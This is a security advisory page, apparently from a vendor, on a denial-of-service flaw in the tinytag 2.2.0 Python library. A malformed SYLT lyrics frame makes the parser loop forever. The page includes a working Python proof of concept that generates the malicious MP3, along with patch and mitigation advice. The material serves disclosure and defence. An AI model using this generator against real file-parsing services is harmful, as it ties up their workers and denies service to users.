Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI

GHSA-f4rq-2259-hv29

MEDIUM

Denial of service via non-terminating SYLT frame parsing loop in tinytag

Also known asCVE-2026-32889
Published
Mar 19, 2026
Updated
Mar 20, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk33th percentile+0.39%
0.00%0.30%0.61%0.91%0.0%0.0%0.0%0.4%Apr 26Jun 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐍tinytag

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

  • MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
  • Python 3.14.3
  • Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
  • Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPItinytagall versions2.2.1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tinytag. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update tinytag to 2.2.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-f4rq-2259-hv29 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-f4rq-2259-hv29 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-f4rq-2259-hv29. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary `tinytag` `2.2.0` allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 `SYLT` (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single `498`-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated. ### Details In tag `2.2.0` (`6f1d3060f393743c2ec34d07c0855cceed827244`), the reachable call path is: - `TinyTag.get` in [`tinytag/tinytag.py#L144-L154`](https://github.com/tinytag/tinytag/bl
O3 Security · Impact-Aware SCA

Is GHSA-f4rq-2259-hv29 in your dependencies?

O3 detects GHSA-f4rq-2259-hv29 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.